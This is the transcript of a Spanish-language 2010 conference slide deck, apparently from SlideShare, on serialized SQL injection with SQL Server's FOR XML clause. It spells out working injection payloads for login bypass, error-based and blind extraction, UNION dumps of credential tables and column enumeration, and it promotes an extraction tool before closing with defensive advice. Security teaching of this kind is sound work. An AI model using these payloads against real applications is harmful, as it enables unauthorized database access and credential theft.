Asegúr@IT 7: Serialized SQL Injection

SFX-SQLiSelect For Xml SQLinjection / Serialized SQL injectionExtracción rápida de información utilizando inyección SQL con instrucciones XML
Daniel Kachakil
Asegur@IT 7
24/03/2010 – Barcelona

Contenido
¿Qué es la inyección SQL?
Técnicas de inyección SQL clásicas
Serialización y la cláusula FOR XML
Obtención de columnas y tipos
Ajuste de la inyección
Ejemplos y demos
2

SQL injection

Vulnerabilidad de aplicaciones informáticas
Su origen está en el filtrado incorrecto o inexistente de los parámetros de entrada a la BD
Graves consecuencias: Cualquiera puede inyectar instrucciones SQL que terminan siendo ejecutadas por el motor de base de datos
4

5
ASP/PHP/JSP/...
<%
cmd =
"SELECT * FROM…"
%>
GET/
SGBD
SQL
POST
Datos
HTML
Pero no es exclusiva de aplicaciones web

Ataques a la seguridad
Integridad: Borrado o corrupción de datos
UPDATE, DELETE, INSERT, DROP, ...
Disponibilidad: Denegación de servicio
SHUTDOWN, consultas complejas, exploits, ...
Confidencialidad: Acceso a datos privados
Bypass de autenticación (' or '1'='1)
A ciegas (Blind SQL injection)
A través de mensajes de error
Anexando otros conjuntos de datos
6

Inyección SQL básica
Usuario:
' or '1'='1
Contraseña:
' or '1'='1
"SELECT * FROMUsuarios WHERE nombre='" + usuario + "' AND pass='" + contraseña + "'"
7

Inyección SQL básica
"SELECT * FROMUsuarios WHERE nombre='' or '1'='1' AND pass='' or '1'='1'"
La condición WHERE siempre es cierta
Devuelve toda la tabla de usuarios
El primer registro suele coincidir con el del administrador
8

Inyección SQL a ciegas
Booleanización: más eficiente con búsqueda binaria
EXISTS (SELECT … WHERE n < 128)  V
EXISTS (SELECT … WHERE n < 32)  F
Conclusión: n=46
9

Ejemplo: Absinthe
10

Inyección SQL basada en errores
"SELECT * FROMAcceso WHERE usuario='' having 1=1--' AND pass='x'"
11

Inyección SQL basada en errores
"SELECT * FROM Acceso WHERE usuario='' AND convert(int, system_user)>0--' AND pass='x'"
12

Inyección SQL anexando datos
"SELECTid, asunto, fecha FROMNotas WHEREyear(fecha)=2010UNIONSELECT 0, login+'/'+pass, nullFROMUsers"
13

La cláusula FOR XML

FOR XML (MS SQL Server 2005/2008)
"SELECT * FROMNumeros"
"SELECT * FROMNumerosFOR XML RAW"
15

Anexando una tabla en un campo
"SELECTasunto FROM Notas WHERE id=1 AND 1=0 UNIONSELECT(SELECT * FROMUsersFOR XML RAW)"
16

Sintaxis de FOR XML
FOR XML {
{ RAW [ ( 'ElementName' ) ] | AUTO }
[
<CommonDirectives>
[ , { XMLDATA | XMLSCHEMA [ ( 'TargetNameSpaceURI' ) ] } ]
[ , ELEMENTS [ XSINIL | ABSENT ]
] | EXPLICIT … | PATH …
}

<CommonDirectives> ::=
[ , BINARY BASE64]
[ , TYPE ]
[ , ROOT [ ( 'RootName' ) ] ]
17

Obtención del númerode columnas

GROUPBY / HAVING 1=1
HAVING 1=1
Error (cuyo texto revela el nombre de la primera columna)
GROUPBYcolumna1HAVING 1=1
Error con el nombre de la segunda columna
GROUPBYcolumna1, columna2HAVING 1=1
Error con el nombre de la tercera columna
...
GROUPBYcolumna1, columna2, columna3, … , columnaNHAVING 1=1
Sin errores
19

ORDERBY N
ORDERBY 1
Sin errores
ORDERBY 2
Sin errores
...
ORDERBY N
Sin errores
ORDERBYN+1
Falla (Ante el primer fallo probar más valores por si se tratara de un campo no ordenable. Ej: de tipo binary/varbinary)
20

UNIONNULL
UNIONSELECTnullWHERE 0=1
Falla
UNION SELECT null, null WHERE 0=1
Falla
UNION SELECT null, null, null WHERE 0=1
Falla
...
UNION SELECT null, null, null, null, … , null WHERE 0=1
Sin errores
21

Obtención del tipode datos

Obtención del tipo de datos
Basta con encontrar una columna de tipo texto
char, varchar, nvarchar, ...
Si muestra errores:
CAST(), CONVERT()
En otro caso:
UNIONSELECTnull, null, 'a', null, null, ... [WHERE 1=0]
23

Juntando las piezas

Extracción serializando datos
… AND 1=0 UNION SELECT v1, v2, … , (SELECT * FROM Tabla FOR XML RAW, BINARY BASE64), … , vN
25

SFX-SQLiTool

SFX-SQLiTool 1.0
Capaz de extraer tablas completas con una sola petición
Inyecciones GET y POST. SSL, cookies, proxy, etc
Si las tablas son muy grandes, las puede segmentar
Implementa todas las técnicas descritas antes
Ayuda al descubrimiento de columnas y tipos
Deshace la codificación HTML automáticamente
Log de todo lo que inyecta y de las respuestas
Visualización en explorador integrado y código fuente
27

Novedades en SFX-SQLiTool 1.1
Acceso completo a otras bases de datos del mismo servidor a través de la master
Ejecución de consultas personalizadas
Ajustes de configuración avanzada
Pequeñas mejoras y correcciones
28

Medidas de protección

Las de siempre: filtrar todas las entradas al gestor de bases de datos
Forzando la conversión de tipos para entradas numéricas
Filtrando o escapando los caracteres peligrosos para las cadenas de texto (comilla simple)
Siempre hacerlo en el servidor en última instancia (no confiar en JavaScript, Flash, Silverlight, etc)
30

Utilizar los mecanismos de protección de la plataforma en la que estemos desarrollando
Consultas SQL parametrizadas, filtros predefinidos, etc.
Aplicar el principio de menor privilegio
Limita las consecuencias ante un ataque exitoso
No dar información detallada sobre los errores
“Contraseña incorrecta para el usuario usuario”
“Error al conectar con la base de datos mibasededatos”
Response.Write(ex.ToString()) en bloques Try - Catch
31

Descarga de la herramienta y más información en mi web: http://www.kachakil.com
Daniel Kachakil dani@kachakil.com
¡Muchas gracias!

http://www.elladodelmal.com	424
http://elladodelmal.blogspot.com	145
http://www.dragonjar.org	89
http://www.slideshare.net	13
http://static.slidesharecdn.com	3
http://www.elladodelmal.blogspot.com	2
http://webcache.googleusercontent.com	2
http://translate.googleusercontent.com	1

Asegúr@IT 7: Serialized SQL Injection

by Chema Alonso on Mar 30, 2010

Accessibility

Categories

Tags

Upload Details

Usage Rights

8 Embeds 679

Statistics

Asegúr@IT 7: Serialized SQL Injection — Presentation Transcript